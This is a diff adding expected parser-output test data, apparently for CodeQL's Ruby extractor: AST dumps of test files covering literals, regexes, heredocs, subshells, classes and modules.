+#  145|         0: [Integer] 1
+#  145|         1: [ReservedWord] +
+#  145|         2: [Integer] 1
+#  145|       2: [ReservedWord] }
+#  145|     3: [StringContent]  
+#  145|     4: [Interpolation] Interpolation
+#  145|       0: [ReservedWord] #{
+#  145|       1: [Identifier] bar
+#  145|       2: [ReservedWord] }
+#  145|     5: [StringContent]  
+#  145|     6: [Interpolation] Interpolation
+#  145|       0: [ReservedWord] #{
+#  145|       1: [Constant] BAR
+#  145|       2: [ReservedWord] }
+#  145|     7: [ReservedWord] `
+#  146|   110: [Subshell] Subshell
+#  146|     0: [ReservedWord] %x@
+#  146|     1: [StringContent] du -d 
+#  146|     2: [Interpolation] Interpolation
+#  146|       0: [ReservedWord] #{
+#  146|       1: [Binary] Binary
+#  146|         0: [Integer] 5
+#  146|         1: [ReservedWord] -
+#  146|         2: [Integer] 4
+#  146|       2: [ReservedWord] }
+#  146|     3: [ReservedWord] @
+#  149|   111: [Regex] Regex
+#  149|     0: [ReservedWord] /
+#  149|     1: [ReservedWord] /
+#  150|   112: [Regex] Regex
+#  150|     0: [ReservedWord] /
+#  150|     1: [StringContent] foo
+#  150|     2: [ReservedWord] /
+#  151|   113: [Regex] Regex
+#  151|     0: [ReservedWord] /
+#  151|     1: [StringContent] foo
+#  151|     2: [ReservedWord] /i
+#  152|   114: [Regex] Regex
+#  152|     0: [ReservedWord] /
+#  152|     1: [StringContent] foo+
+#  152|     2: [EscapeSequence] \s
+#  152|     3: [StringContent] bar
+#  152|     4: [EscapeSequence] \S
+#  152|     5: [ReservedWord] /
+#  153|   115: [Regex] Regex
+#  153|     0: [ReservedWord] /
+#  153|     1: [StringContent] foo
+#  153|     2: [Interpolation] Interpolation
+#  153|       0: [ReservedWord] #{
+#  153|       1: [Binary] Binary
+#  153|         0: [Integer] 1
+#  153|         1: [ReservedWord] +
+#  153|         2: [Integer] 1
+#  153|       2: [ReservedWord] }
+#  153|     3: [StringContent] bar
+#  153|     4: [Interpolation] Interpolation
+#  153|       0: [ReservedWord] #{
+#  153|       1: [Identifier] bar
+#  153|       2: [ReservedWord] }
+#  153|     5: [Interpolation] Interpolation
+#  153|       0: [ReservedWord] #{
+#  153|       1: [Constant] BAR
+#  153|       2: [ReservedWord] }
+#  153|     6: [ReservedWord] /
+#  154|   116: [Regex] Regex
+#  154|     0: [ReservedWord] /
+#  154|     1: [StringContent] foo
+#  154|     2: [ReservedWord] /oxm
+#  155|   117: [Regex] Regex
+#  155|     0: [ReservedWord] %r[
+#  155|     1: [ReservedWord] ]
+#  156|   118: [Regex] Regex
+#  156|     0: [ReservedWord] %r(
+#  156|     1: [StringContent] foo
+#  156|     2: [ReservedWord] )
+#  157|   119: [Regex] Regex
+#  157|     0: [ReservedWord] %r:
+#  157|     1: [StringContent] foo
+#  157|     2: [ReservedWord] :i
+#  158|   120: [Regex] Regex
+#  158|     0: [ReservedWord] %r{
+#  158|     1: [StringContent] foo+
+#  158|     2: [EscapeSequence] \s
+#  158|     3: [StringContent] bar
+#  158|     4: [EscapeSequence] \S
+#  158|     5: [ReservedWord] }
+#  159|   121: [Regex] Regex
+#  159|     0: [ReservedWord] %r{
+#  159|     1: [StringContent] foo
+#  159|     2: [Interpolation] Interpolation
+#  159|       0: [ReservedWord] #{
+#  159|       1: [Binary] Binary
+#  159|         0: [Integer] 1
+#  159|         1: [ReservedWord] +
+#  159|         2: [Integer] 1
+#  159|       2: [ReservedWord] }
+#  159|     3: [StringContent] bar
+#  159|     4: [Interpolation] Interpolation
+#  159|       0: [ReservedWord] #{
+#  159|       1: [Identifier] bar
+#  159|       2: [ReservedWord] }
+#  159|     5: [Interpolation] Interpolation
+#  159|       0: [ReservedWord] #{
+#  159|       1: [Constant] BAR
+#  159|       2: [ReservedWord] }
+#  159|     6: [ReservedWord] }
+#  160|   122: [Regex] Regex
+#  160|     0: [ReservedWord] %r:
+#  160|     1: [StringContent] foo
+#  160|     2: [ReservedWord] :mxo
+#  163|   123: [String] String
+#  163|     0: [ReservedWord] '
+#  163|     1: [StringContent] abcdefghijklmnopqrstuvwxyzabcdef
+#  163|     2: [ReservedWord] '
+#  164|   124: [String] String
+#  164|     0: [ReservedWord] '
+#  164|     1: [StringContent] foobarfoobarfoobarfoobarfoobarfoo
+#  164|     2: [ReservedWord] '
+#  165|   125: [String] String
+#  165|     0: [ReservedWord] "
+#  165|     1: [StringContent] foobar
+#  165|     2: [EscapeSequence] \\
+#  165|     3: [StringContent] foobar
+#  165|     4: [EscapeSequence] \\
+#  165|     5: [StringContent] foobar
+#  165|     6: [EscapeSequence] \\
+#  165|     7: [StringContent] foobar
+#  165|     8: [EscapeSequence] \\
+#  165|     9: [StringContent] foobar
+#  165|     10: [ReservedWord] "
+#  168|   126: [Call] Call
+#  168|     0: [Identifier] run_sql
+#  168|     1: [ArgumentList] ArgumentList
+#  168|       0: [ReservedWord] (
+#  168|       1: [HeredocBeginning] <<SQL
+#  168|       2: [ReservedWord] ,
+#  168|       3: [HeredocBeginning] <<SQL
+#  168|       4: [ReservedWord] )
+#  174|   127: [Method] Method
+#  174|     0: [ReservedWord] def
+#  174|     1: [Identifier] m
+#  175|     2: [Assignment] Assignment
+#  175|       0: [Identifier] query
+#  175|       1: [ReservedWord] =
+#  175|       2: [HeredocBeginning] <<-BLA
+#  178|     3: [ReservedWord] end
+#  180|   128: [Assignment] Assignment
+#  180|     0: [Identifier] query
+#  180|     1: [ReservedWord] =
+#  180|     2: [HeredocBeginning] <<~SQUIGGLY
+#  184|   129: [Assignment] Assignment
+#  184|     0: [Identifier] query
+#  184|     1: [ReservedWord] =
+#  184|     2: [HeredocBeginning] <<"DOC"
+#  189|   130: [Assignment] Assignment
+#  189|     0: [Identifier] query
+#  189|     1: [ReservedWord] =
+#  189|     2: [HeredocBeginning] <<'DOC'
+#  193|   131: [Assignment] Assignment
+#  193|     0: [Identifier] output
+#  193|     1: [ReservedWord] =
+#  193|     2: [HeredocBeginning] <<`SCRIPT`
+#  197|   132: [Assignment] Assignment
+#  197|     0: [Identifier] x
+#  197|     1: [ReservedWord] =
+#  197|     2: [Integer] 42
+#  198|   133: [Hash] Hash
+#  198|     0: [ReservedWord] {
+#  198|     1: [Pair] Pair
+#  198|       0: [HashKeySymbol] x
+#  198|       1: [ReservedWord] :
+#  198|     2: [ReservedWord] ,
+#  198|     3: [Pair] Pair
+#  198|       0: [HashKeySymbol] y
+#  198|       1: [ReservedWord] :
+#  198|       2: [Integer] 5
+#  198|     4: [ReservedWord] }
+#  199|   134: [Hash] Hash
+#  199|     0: [ReservedWord] {
+#  199|     1: [Pair] Pair
+#  199|       0: [HashKeySymbol] y
+#  199|       1: [ReservedWord] :
+#  199|     2: [ReservedWord] ,
+#  199|     3: [Pair] Pair
+#  199|       0: [HashKeySymbol] Z
+#  199|       1: [ReservedWord] :
+#  199|     4: [ReservedWord] }
+#    1| [Comment] # boolean values and nil
+#    9| [Comment] # decimal integers
+#   14| [Comment] # max value representable by QL's int type
+#   15| [Comment] # too large to be representable by an int
+#   17| [Comment] # hexadecimal integers
+#   22| [Comment] # max value representable by QL's int type
+#   23| [Comment] # too large to be represented by an int
+#   24| [Comment] # too large to be represented by an int
+#   25| [Comment] # too large to be represented by an int
+#   27| [Comment] # octal integers
+#   32| [Comment] # max value representable by QL's int type
+#   33| [Comment] # too large to be represented by an int
+#   35| [Comment] # binary integers
+#   39| [Comment] # max value representable by QL's int type
+#   40| [Comment] # too large to be represented by an int
+#   42| [Comment] # floating-point numbers
+#   47| [Comment] # rational numbers
+#   51| [Comment] # imaginary/complex numbers
+#   55| [Comment] # imaginary & rational
+#   58| [Comment] # strings
+#   69| [Comment] # "foo\\ bar"
+#   70| [Comment] # "foo bar"
+#   71| [Comment] # interpolation
+#   72| [Comment] # interpolation
+#   73| [Comment] # no interpolation
+#   74| [Comment] # no interpolation
+#   75| [Comment] # concatenated
+#   76| [Comment] # concatenated
+#   77| [Comment] # concatenated, interpolation
+#   78| [Comment] # interpolation containing string containing interpolation
+#   79| [Comment] # multiple statements in interpolation
+#   82| [Comment] # local variables in interpolation
+#   83| [Comment] # constants in interpolation
+#   85| [Comment] # characters
+#   96| [Comment] # symbols
+#  104| [Comment] # interpolation
+#  105| [Comment] # no interpolation
+#  106| [Comment] # no interpolation
+#  108| [Comment] # arrays
+#  114| [Comment] # arrays of strings
+#  118| [Comment] # interpolation
+#  119| [Comment] # no interpolation
+#  121| [Comment] # arrays of symbols
+#  125| [Comment] # interpolation
+#  126| [Comment] # no interpolation
+#  128| [Comment] # hashes
+#  131| [Comment] # hash-splat argument
+#  133| [Comment] # ranges
+#  138| [Comment] # 1 to infinity
+#  139| [Comment] # -infinity to 1
+#  142| [Comment] # subshell
+#  145| [Comment] # interpolation
+#  146| [Comment] # interpolation
+#  148| [Comment] # regular expressions
+#  153| [Comment] # interpolation
+#  159| [Comment] # interpolation
+#  162| [Comment] # long strings
+#  163| [Comment] # 32 chars, should not be truncated
+#  164| [Comment] # 33 chars, should be truncated
+#  165| [Comment] # several short components, but long enough overall to be truncated
+#  167| [Comment] # here documents
+#  168| [HeredocBody] HeredocBody
+#  168|   0: [HeredocContent] 
+#  168|   select * from table
+#  168|   
+#  170|   1: [HeredocEnd] SQL
+#  170| [HeredocBody] HeredocBody
+#  170|   0: [HeredocContent] 
+#  170|   where name = 
+#  171|   1: [Interpolation] Interpolation
+#  171|     0: [ReservedWord] #{
+#  171|     1: [Identifier] name
+#  171|     2: [ReservedWord] }
+#  171|   2: [HeredocContent] 
+#  171|   
+#  172|   3: [HeredocEnd] SQL
+#  175| [HeredocBody] HeredocBody
+#  175|   0: [HeredocContent] 
+#  175|   some text
+#  176|   1: [EscapeSequence] \n
+#  176|   2: [HeredocContent] and some more
+#  176|     
+#  177|   3: [HeredocEnd] BLA
+#  180| [HeredocBody] HeredocBody
+#  180|   0: [HeredocContent] 
+#  180|      indented stuff
+#  180|   
+#  182|   1: [HeredocEnd] SQUIGGLY
+#  184| [HeredocBody] HeredocBody
+#  184|   0: [HeredocContent] 
+#  184|    text with 
+#  185|   1: [Interpolation] Interpolation
+#  185|     0: [ReservedWord] #{
+#  185|     1: [Identifier] interpolation
+#  185|     2: [ReservedWord] }
+#  185|   2: [HeredocContent]  !
+#  185|   
+#  186|   3: [HeredocEnd] DOC
+#  188| [Comment] # TODO: the parser currently does not handle single quoted heredocs correctly
+#  189| [HeredocBody] HeredocBody
+#  189|   0: [HeredocContent] 
+#  189|    text without 
+#  190|   1: [Interpolation] Interpolation
+#  190|     0: [ReservedWord] #{
+#  190|     1: [Identifier] interpolation
+#  190|     2: [ReservedWord] }
+#  190|   2: [HeredocContent]  !
+#  190|   
+#  191|   3: [HeredocEnd] DOC
+#  193| [HeredocBody] HeredocBody
+#  193|   0: [HeredocContent] 
+#  193|    cat file.txt
+#  193|   
+#  195|   1: [HeredocEnd] SCRIPT
+misc/misc.erb:
+#    2| [Program] Program
+#    2|   0: [Call] Call
+#    2|     0: [Identifier] require_asset
+#    2|     1: [ArgumentList] ArgumentList
+#    2|       0: [ReservedWord] (
+#    2|       1: [String] String
+#    2|         0: [ReservedWord] "
+#    2|         1: [StringContent] main_include_admin.js
+#    2|         2: [ReservedWord] "
+#    2|       2: [ReservedWord] )
+misc/misc.rb:
+#    1| [Program] Program
+#    1|   0: [Assignment] Assignment
+#    1|     0: [Identifier] bar
+#    1|     1: [ReservedWord] =
+#    1|     2: [String] String
+#    1|       0: [ReservedWord] "
+#    1|       1: [StringContent] bar
+#    1|       2: [ReservedWord] "
+#    3|   1: [Undef] Undef
+#    3|     0: [ReservedWord] undef
+#    3|     1: [Identifier] foo
+#    3|     2: [ReservedWord] ,
+#    3|     3: [SimpleSymbol] :foo
+#    3|     4: [ReservedWord] ,
+#    3|     5: [Setter] Setter
+#    3|       0: [Identifier] foo
+#    3|       1: [ReservedWord] =
+#    3|     6: [ReservedWord] ,
+#    3|     7: [Operator] []
+#    3|       0: [ReservedWord] []
+#    3|     8: [ReservedWord] ,
+#    3|     9: [Operator] []=
+#    3|       0: [ReservedWord] []=
+#    4|   2: [Undef] Undef
+#    4|     0: [ReservedWord] undef
+#    4|     1: [DelimitedSymbol] DelimitedSymbol
+#    4|       0: [ReservedWord] :"
+#    4|       1: [StringContent] foo_
+#    4|       2: [Interpolation] Interpolation
+#    4|         0: [ReservedWord] #{
+#    4|         1: [Identifier] bar
+#    4|         2: [ReservedWord] }
+#    4|       3: [ReservedWord] "
+#    5|   3: [Undef] Undef
+#    5|     0: [ReservedWord] undef
+#    5|     1: [Identifier] nil
+#    5|     2: [ReservedWord] ,
+#    5|     3: [Identifier] true
+#    5|     4: [ReservedWord] ,
+#    5|     5: [Identifier] false
+#    5|     6: [ReservedWord] ,
+#    5|     7: [Identifier] super
+#    5|     8: [ReservedWord] ,
+#    5|     9: [Identifier] self
+#    7|   4: [Alias] Alias
+#    7|     0: [ReservedWord] alias
+#    7|     1: [Identifier] new
+#    7|     2: [SimpleSymbol] :old
+#    8|   5: [Alias] Alias
+#    8|     0: [ReservedWord] alias
+#    8|     1: [Setter] Setter
+#    8|       0: [Identifier] foo
+#    8|       1: [ReservedWord] =
+#    8|     2: [Operator] []=
+#    8|       0: [ReservedWord] []=
+#    9|   6: [Alias] Alias
+#    9|     0: [ReservedWord] alias
+#    9|     1: [Identifier] super
+#    9|     2: [Identifier] self
+#   10|   7: [Alias] Alias
+#   10|     0: [ReservedWord] alias
+#   10|     1: [DelimitedSymbol] DelimitedSymbol
+#   10|       0: [ReservedWord] :"
+#   10|       1: [EscapeSequence] \n
+#   10|       2: [Interpolation] Interpolation
+#   10|         0: [ReservedWord] #{
+#   10|         1: [Identifier] bar
+#   10|         2: [ReservedWord] }
+#   10|       3: [ReservedWord] "
+#   10|     2: [DelimitedSymbol] DelimitedSymbol
+#   10|       0: [ReservedWord] :"
+#   10|       1: [StringContent] foo
+#   10|       2: [ReservedWord] "
+modules/classes.rb:
+#    2| [Program] Program
+#    3|   0: [Class] Class
+#    3|     0: [ReservedWord] class
+#    3|     1: [Constant] Foo
+#    4|     2: [ReservedWord] end
+#    7|   1: [Class] Class
+#    7|     0: [ReservedWord] class
+#    7|     1: [Constant] Bar
+#    7|     2: [Superclass] Superclass
+#    7|       0: [ReservedWord] <
+#    7|       1: [Constant] BaseClass
+#    8|     3: [ReservedWord] end
+#   11|   2: [Class] Class
+#   11|     0: [ReservedWord] class
+#   11|     1: [Constant] Baz
+#   11|     2: [Superclass] Superclass
+#   11|       0: [ReservedWord] <
+#   11|       1: [Call] Call
+#   11|         0: [Identifier] superclass_for
+#   11|         1: [ArgumentList] ArgumentList
+#   11|           0: [ReservedWord] (
+#   11|           1: [SimpleSymbol] :baz
+#   11|           2: [ReservedWord] )
+#   12|     3: [ReservedWord] end
+#   15|   3: [Module] Module
+#   15|     0: [ReservedWord] module
+#   15|     1: [Constant] MyModule
+#   15|     2: [ReservedWord] ;
+#   15|     3: [ReservedWord] end
+#   16|   4: [Class] Class
+#   16|     0: [ReservedWord] class
+#   16|     1: [ScopeResolution] ScopeResolution
+#   16|       0: [Constant] MyModule
+#   16|       1: [ReservedWord] ::
+#   16|       2: [Constant] MyClass
+#   17|     2: [ReservedWord] end
+#   20|   5: [Class] Class
+#   20|     0: [ReservedWord] class
+#   20|     1: [Constant] Wibble
+#   21|     2: [Method] Method
+#   21|       0: [ReservedWord] def
+#   21|       1: [Identifier] method_a
+#   22|       2: [Call] Call
+#   22|         0: [Identifier] puts
+#   22|         1: [ArgumentList] ArgumentList
+#   22|           0: [String] String
+#   22|             0: [ReservedWord] '
+#   22|             1: [StringContent] a
+#   22|             2: [ReservedWord] '
+#   23|       3: [ReservedWord] end
+#   25|     3: [Method] Method
+#   25|       0: [ReservedWord] def
+#   25|       1: [Identifier] method_b
+#   26|       2: [Call] Call
+#   26|         0: [Identifier] puts
+#   26|         1: [ArgumentList] ArgumentList
+#   26|           0: [String] String
+#   26|             0: [ReservedWord] '
+#   26|             1: [StringContent] b
+#   26|             2: [ReservedWord] '
+#   27|       3: [ReservedWord] end
+#   29|     4: [Call] Call
+#   29|       0: [Identifier] some_method_call
+#   29|       1: [ArgumentList] ArgumentList
+#   29|         0: [ReservedWord] (
+#   29|         1: [ReservedWord] )
+#   30|     5: [Assignment] Assignment
+#   30|       0: [GlobalVariable] $global_var
+#   30|       1: [ReservedWord] =
+#   30|       2: [Integer] 123
+#   32|     6: [Class] Class
+#   32|       0: [ReservedWord] class
+#   32|       1: [Constant] ClassInWibble
+#   33|       2: [ReservedWord] end
+#   35|     7: [Module] Module
+#   35|       0: [ReservedWord] module
+#   35|       1: [Constant] ModuleInWibble
+#   36|       2: [ReservedWord] end
+#   37|     8: [ReservedWord] end
+#   40|   6: [Assignment] Assignment
+#   40|     0: [Identifier] x
+#   40|     1: [ReservedWord] =
+#   40|     2: [String] String
+#   40|       0: [ReservedWord] '
+#   40|       1: [StringContent] hello
+#   40|       2: [ReservedWord] '
+#   41|   7: [SingletonClass] SingletonClass
+#   41|     0: [ReservedWord] class
+#   41|     1: [ReservedWord] <<
+#   41|     2: [Identifier] x
+#   42|     3: [Method] Method
+#   42|       0: [ReservedWord] def
+#   42|       1: [Identifier] length
+#   43|       2: [Binary] Binary
+#   43|         0: [Integer] 100
+#   43|         1: [ReservedWord] *
+#   43|         2: [Super] super
+#   44|       3: [ReservedWord] end
+#   46|     4: [Method] Method
+#   46|       0: [ReservedWord] def
+#   46|       1: [Identifier] wibble
+#   47|       2: [Call] Call
+#   47|         0: [Identifier] puts
+#   47|         1: [ArgumentList] ArgumentList
+#   47|           0: [String] String
+#   47|             0: [ReservedWord] '
+#   47|             1: [StringContent] wibble
+#   47|             2: [ReservedWord] '
+#   48|       3: [ReservedWord] end
+#   50|     5: [Identifier] another_method_call
+#   51|     6: [Assignment] Assignment
+#   51|       0: [GlobalVariable] $global_var2
+#   51|       1: [ReservedWord] =
+#   51|       2: [Integer] 456
+#   52|     7: [ReservedWord] end
+#   55|   8: [Class] Class
+#   55|     0: [ReservedWord] class
+#   55|     1: [ScopeResolution] ScopeResolution
+#   55|       0: [ReservedWord] ::
+#   55|       1: [Constant] MyClassInGlobalScope
+#   56|     2: [ReservedWord] end
+#    2| [Comment] # a class with no superclass specified
+#    6| [Comment] # a class where the superclass is a constant
+#   10| [Comment] # a class where the superclass is a call expression
+#   14| [Comment] # a class where the name is a scope resolution
+#   19| [Comment] # a class with various expressions
+#   39| [Comment] # a singleton class with some methods and some other arbitrary expressions
+#   54| [Comment] # a class where the name is a scope resolution using the global scope
+modules/modules.rb:
+#    1| [Program] Program
+#    1|   0: [Module] Module
+#    1|     0: [ReservedWord] module
+#    1|     1: [Constant] Empty
+#    2|     2: [ReservedWord] end
+#    4|   1: [Module] Module
+#    4|     0: [ReservedWord] module
+#    4|     1: [Constant] Foo
+#    5|     2: [Module] Module
+#    5|       0: [ReservedWord] module
+#    5|       1: [Constant] Bar
+#    6|       2: [Class] Class
+#    6|         0: [ReservedWord] class
+#    6|         1: [Constant] ClassInFooBar
+#    7|         2: [ReservedWord] end
+#    9|       3: [Method] Method
+#    9|         0: [ReservedWord] def
+#    9|         1: [Identifier] method_in_foo_bar
+#   10|         2: [ReservedWord] end
+#   12|       4: [Call] Call
+#   12|         0: [Identifier] puts
+#   12|         1: [ArgumentList] ArgumentList
+#   12|           0: [String] String
+#   12|             0: [ReservedWord] '
+#   12|             1: [StringContent] module Foo::Bar
+#   12|             2: [ReservedWord] '
+#   13|       5: [Assignment] Assignment
+#   13|         0: [GlobalVariable] $global_var
+#   13|         1: [ReservedWord] =
+#   13|         2: [Integer] 0
+#   14|       6: [ReservedWord] end
+#   16|     3: [Method] Method
+#   16|       0: [ReservedWord] def
+#   16|       1: [Identifier] method_in_foo
+#   17|       2: [ReservedWord] end
+#   19|     4: [Class] Class
+#   19|       0: [ReservedWord] class
+#   19|       1: [Constant] ClassInFoo
+#   20|       2: [ReservedWord] end
+#   22|     5: [Call] Call
+#   22|       0: [Identifier] puts
+#   22|       1: [ArgumentList] ArgumentList
+#   22|         0: [String] String
+#   22|           0: [ReservedWord] '
+#   22|           1: [StringContent] module Foo
+#   22|           2: [ReservedWord] '
+#   23|     6: [Assignment] Assignment
+#   23|       0: [GlobalVariable] $global_var
+#   23|       1: [ReservedWord] =
+#   23|       2: [Integer] 1
+#   24|     7: [ReservedWord] end
+#   26|   2: [Module] Module
+#   26|     0: [ReservedWord] module
+#   26|     1: [Constant] Foo
+#   27|     2: [Method] Method
+#   27|       0: [ReservedWord] def
+#   27|       1: [Identifier] method_in_another_definition_of_foo
+#   28|       2: [ReservedWord] end
+#   30|     3: [Class] Class
+#   30|       0: [ReservedWord] class
+#   30|       1: [Constant] ClassInAnotherDefinitionOfFoo
+#   31|       2: [ReservedWord] end
+#   33|     4: [Call] Call
+#   33|       0: [Identifier] puts
+#   33|       1: [ArgumentList] ArgumentList
+#   33|         0: [String] String
+#   33|           0: [ReservedWord] '
+#   33|           1: [StringContent] module Foo again
+#   33|           2: [ReservedWord] '
+#   34|     5: [Assignment] Assignment
+#   34|       0: [GlobalVariable] $global_var
+#   34|       1: [ReservedWord] =
+#   34|       2: [Integer] 2
+#   35|     6: [ReservedWord] end
+#   37|   3: [Module] Module
+#   37|     0: [ReservedWord] module
+#   37|     1: [Constant] Bar
+#   38|     2: [Method] Method
+#   38|       0: [ReservedWord] def
+#   38|       1: [Identifier] method_a
+#   39|       2: [ReservedWord] end
+#   41|     3: [Method] Method
+#   41|       0: [ReservedWord] def
+#   41|       1: [Identifier] method_b
+#   42|       2: [ReservedWord] end
+#   44|     4: [Call] Call
+#   44|       0: [Identifier] puts
+#   44|       1: [ArgumentList] ArgumentList
+#   44|         0: [String] String
+#   44|           0: [ReservedWord] '
+#   44|           1: [StringContent] module Bar
+#   44|           2: [ReservedWord] '
+#   45|     5: [Assignment] Assignment
+#   45|       0: [GlobalVariable] $global_var
+#   45|       1: [ReservedWord] =
+#   45|       2: [Integer] 3
+#   46|     6: [ReservedWord] end
+#   48|   4: [Module] Module
+#   48|     0: [ReservedWord] module
+#   48|     1: [ScopeResolution] ScopeResolution
+#   48|       0: [Constant] Foo
+#   48|       1: [ReservedWord] ::
+#   48|       2: [Constant] Bar
+#   49|     2: [Class] Class
+#   49|       0: [ReservedWord] class
+#   49|       1: [Constant] ClassInAnotherDefinitionOfFooBar
+#   50|       2: [ReservedWord] end
+#   52|     3: [Method] Method
+#   52|       0: [ReservedWord] def
+#   52|       1: [Identifier] method_in_another_definition_of_foo_bar
+#   53|       2: [ReservedWord] end
+#   55|     4: [Call] Call
+#   55|       0: [Identifier] puts
+#   55|       1: [ArgumentList] ArgumentList
+#   55|         0: [String] String
+#   55|           0: [ReservedWord] '
+#   55|           1: [StringContent] module Foo::Bar again
+#   55|           2: [ReservedWord] '
+#   56|     5: [Assignment] Assignment
+#   56|       0: [GlobalVariable] $global_var
+#   56|       1: [ReservedWord] =
+#   56|       2: [Integer] 4
+#   57|     6: [ReservedWord] end
+#   60|   5: [Module] Module
+#   60|     0: [ReservedWord] module
+#   60|     1: [ScopeResolution] ScopeResolution
+#   60|       0: [ReservedWord] ::
+#   60|       1: [Constant] MyModuleInGlobalScope
+#   61|     2: [ReservedWord] end
+#   63|   6: [Module] Module
+#   63|     0: [ReservedWord] module
+#   63|     1: [Constant] Test
+#   65|     2: [Module] Module
+#   65|       0: [ReservedWord] module
+#   65|       1: [Constant] Foo1
+#   66|       2: [Class] Class
+#   66|         0: [ReservedWord] class
+#   66|         1: [ScopeResolution] ScopeResolution
+#   66|           0: [Constant] Foo1
+#   66|           1: [ReservedWord] ::
+#   66|           2: [Constant] Bar
+#   67|         2: [ReservedWord] end
+#   68|       3: [ReservedWord] end
+#   70|     3: [Module] Module
+#   70|       0: [ReservedWord] module
+#   70|       1: [Constant] Foo2
+#   71|       2: [Module] Module
+#   71|         0: [ReservedWord] module
+#   71|         1: [Constant] Foo2
+#   71|         2: [ReservedWord] end
+#   72|       3: [Class] Class
+#   72|         0: [ReservedWord] class
+#   72|         1: [ScopeResolution] ScopeResolution
+#   72|           0: [Constant] Foo2
+#   72|           1: [ReservedWord] ::
+#   72|           2: [Constant] Bar
+#   73|         2: [ReservedWord] end
+#   74|       4: [ReservedWord] end
+#   76|     4: [Module] Module
+#   76|       0: [ReservedWord] module
+#   76|       1: [Constant] Foo3
+#   77|       2: [Assignment] Assignment
+#   77|         0: [Constant] Foo3
+#   77|         1: [ReservedWord] =
+#   77|         2: [Constant] Object
+#   78|       3: [Class] Class
+#   78|         0: [ReservedWord] class
+#   78|         1: [ScopeResolution] ScopeResolution
+#   78|           0: [Constant] Foo3
+#   78|           1: [ReservedWord] ::
+#   78|           2: [Constant] Bar
+#   79|         2: [ReservedWord] end
+#   80|       4: [ReservedWord] end
+#   81|     5: [ReservedWord] end
+#   83|   7: [Module] Module
+#   83|     0: [ReservedWord] module
+#   83|     1: [Constant] Other
+#   84|     2: [Module] Module
+#   84|       0: [ReservedWord] module
+#   84|       1: [Constant] Foo1
+#   85|       2: [ReservedWord] end
+#   86|     3: [ReservedWord] end
+#   88|   8: [Module] Module
+#   88|     0: [ReservedWord] module
+#   88|     1: [Constant] IncludeTest
+#   89|     2: [Call] Call
+#   89|       0: [Identifier] include
+#   89|       1: [ArgumentList] ArgumentList
+#   89|         0: [ScopeResolution] ScopeResolution
+#   89|           0: [ReservedWord] ::
+#   89|           1: [Constant] Test
+#   90|     3: [Call] Call
+#   90|       0: [Constant] Object
+#   90|       1: [ReservedWord] .
+#   90|       2: [Identifier] module_eval
+#   90|       3: [Block] Block
+#   90|         0: [ReservedWord] {
+#   90|         1: [Call] Call
+#   90|           0: [Identifier] prepend
+#   90|           1: [ArgumentList] ArgumentList
+#   90|             0: [Constant] Other
+#   90|         2: [ReservedWord] }
+#   91|     4: [Module] Module
+#   91|       0: [ReservedWord] module
+#   91|       1: [ScopeResolution] ScopeResolution
+#   91|         0: [Constant] Foo1
+#   91|         1: [ReservedWord] ::
+#   91|         2: [Constant] Y
+#   92|       2: [ReservedWord] end
+#   93|     5: [ReservedWord] end
+#   95|   9: [Module] Module
+#   95|     0: [ReservedWord] module
+#   95|     1: [Constant] IncludeTest2
+#   96|     2: [Call] Call
+#   96|       0: [Identifier] include
+#   96|       1: [ArgumentList] ArgumentList
+#   96|         0: [Constant] Test
+#   97|     3: [Module] Module
+#   97|       0: [ReservedWord] module
+#   97|       1: [ScopeResolution] ScopeResolution
+#   97|         0: [Constant] Foo1
+#   97|         1: [ReservedWord] ::
+#   97|         2: [Constant] Z
+#   98|       2: [ReservedWord] end
+#   99|     4: [ReservedWord] end
+#  101|   10: [Module] Module
+#  101|     0: [ReservedWord] module
+#  101|     1: [Constant] PrependTest
+#  102|     2: [Call] Call
+#  102|       0: [Identifier] prepend
+#  102|       1: [ArgumentList] ArgumentList
+#  102|         0: [ScopeResolution] ScopeResolution
+#  102|           0: [ReservedWord] ::
+#  102|           1: [Constant] Test
+#  103|     3: [Module] Module
+#  103|       0: [ReservedWord] module
+#  103|       1: [ScopeResolution] ScopeResolution
+#  103|         0: [Constant] Foo2
+#  103|         1: [ReservedWord] ::
+#  103|         2: [Constant] Y
+#  104|       2: [ReservedWord] end
+#  105|     4: [ReservedWord] end
+#  107|   11: [Module] Module
+#  107|     0: [ReservedWord] module
+#  107|     1: [Constant] MM
+#  108|     2: [Module] Module
+#  108|       0: [ReservedWord] module
+#  108|       1: [ScopeResolution] ScopeResolution
+#  108|         0: [Constant] MM
+#  108|         1: [ReservedWord] ::
+#  108|         2: [Constant] MM
+#  109|       2: [ReservedWord] end
+#  110|     3: [ReservedWord] end
+#  112|   12: [Class] Class
+#  112|     0: [ReservedWord] class
+#  112|     1: [Constant] YY
+#  113|     2: [ReservedWord] end
+#  115|   13: [Module] Module
+#  115|     0: [ReservedWord] module
+#  115|     1: [Constant] XX
+#  116|     2: [Class] Class
+#  116|       0: [ReservedWord] class
+#  116|       1: [Constant] YY
+#  116|       2: [Superclass] Superclass
+#  116|         0: [ReservedWord] <
+#  116|         1: [Constant] YY
+#  117|       3: [ReservedWord] end
+#  118|     3: [ReservedWord] end
+#  120|   14: [Module] Module
+#  120|     0: [ReservedWord] module
+#  120|     1: [ScopeResolution] ScopeResolution
+#  120|       0: [ScopeResolution] ScopeResolution
+#  120|         0: [ScopeResolution] ScopeResolution
+#  120|           0: [Constant] Test
+#  120|           1: [ReservedWord] ::
+#  120|           2: [Constant] Foo1
+#  120|         1: [ReservedWord] ::
+#  120|         2: [Constant] Bar
+#  120|       1: [ReservedWord] ::
+#  120|       2: [Constant] Baz
+#  121|     2: [ReservedWord] end
+#   59| [Comment] # a module where the name is a scope resolution using the global scope
+modules/toplevel.rb:
+#    1| [Program] Program
+#    1|   0: [Call] Call
+#    1|     0: [Identifier] puts
+#    1|     1: [ArgumentList] ArgumentList
+#    1|       0: [String] String
+#    1|         0: [ReservedWord] "
+#    1|         1: [StringContent] world
+#    1|         2: [ReservedWord] "
+#    3|   1: [EndBlock] EndBlock
+#    3|     0: [ReservedWord] END
+#    3|     1: [ReservedWord] {
+#    3|     2: [Call] Call
+#    3|       0: [Identifier] puts
+#    3|       1: [ArgumentList] ArgumentList
+#    3|         0: [String] String
+#    3|           0: [ReservedWord] "
+#    3|           1: [StringContent] !!!
+#    3|           2: [ReservedWord] "
+#    3|     3: [ReservedWord] }
+#    5|   2: [BeginBlock] BeginBlock
+#    5|     0: [ReservedWord] BEGIN
+#    5|     1: [ReservedWord] {
+#    5|     2: [Call] Call
+#    5|       0: [Identifier] puts
+#    5|       1: [ArgumentList] ArgumentList
+#    5|         0: [String] String
+#    5|           0: [ReservedWord] "
